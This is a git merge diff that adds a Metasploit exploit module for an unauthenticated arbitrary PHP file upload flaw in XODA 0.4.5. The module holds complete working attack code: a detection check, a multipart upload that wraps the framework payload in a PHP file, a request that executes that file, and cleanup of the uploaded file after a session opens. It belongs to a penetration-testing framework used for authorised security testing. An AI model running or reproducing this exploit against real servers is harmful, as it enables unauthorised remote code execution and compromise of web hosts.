Merge branch 'xoda_file_upload' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-xoda_file_upload

modules/exploits/unix/webapp/xoda_file_upload.rb

@@ -0,0 +1,131 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability",
+			'Description'    => %q{
+					This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers
+				can abuse the "upload" command in order to upload a malicious PHP file without any
+				authentication, which results in arbitrary code execution. The module has been
+				tested successfully on XODA 0.4.5 and Ubuntu 10.04.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Shai rod', # Vulnerability Discovery and PoC
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'EDB', '20703' ]
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "none"
+				},
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        =>
+				[
+					['XODA 0.4.5', {}],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Aug 21 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"])
+			], self.class)
+	end
+
+
+	def check
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => "#{uri}?upload_to="
+		})
+
+		if res and res.code == 200 and res.body =~ /Upload a file/
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def on_new_session(client)
+		if client.type == "meterpreter"
+			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+			client.fs.file.rm(@payload_name)
+		else
+			client.shell_command_token(@payload_name)
+		end
+	end
+
+	def exploit
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		peer = "#{rhost}:#{rport}"
+		@payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
+
+		boundary = "---------------------------#{Rex::Text.rand_text_numeric(27)}"
+
+		post_data = "--#{boundary}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"#{@payload_name}\"\r\n\r\n"
+		post_data << "<?php "
+		post_data << payload.encoded
+		post_data << " ?>\r\n"
+		post_data << "--#{boundary}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n"
+		post_data << "\r\n"
+		post_data << "--#{boundary}--\r\n"
+
+		print_status("#{peer} - Sending PHP payload (#{@payload_name})")
+		res = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => "#{uri}?upload",
+			'ctype'  => "multipart/form-data; boundary=#{boundary}",
+			'data'   => post_data
+		})
+
+		if not res or res.code != 302
+			print_error("#{peer} - File wasn't uploaded, aborting!")
+			return
+		end
+
+		print_status("#{peer} - Executing PHP payload (#{@payload_name})")
+
+		# Execute our payload
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{uri}files/#{@payload_name}"
+		})
+
+		# If we don't get a 200 when we request our malicious payload, we suspect
+		# we don't have a shell, either.  Print the status code for debugging purposes.
+		if res and res.code != 200
+			print_status("#{peer} - Server returned #{res.code.to_s}")
+		end
+	end
+
+end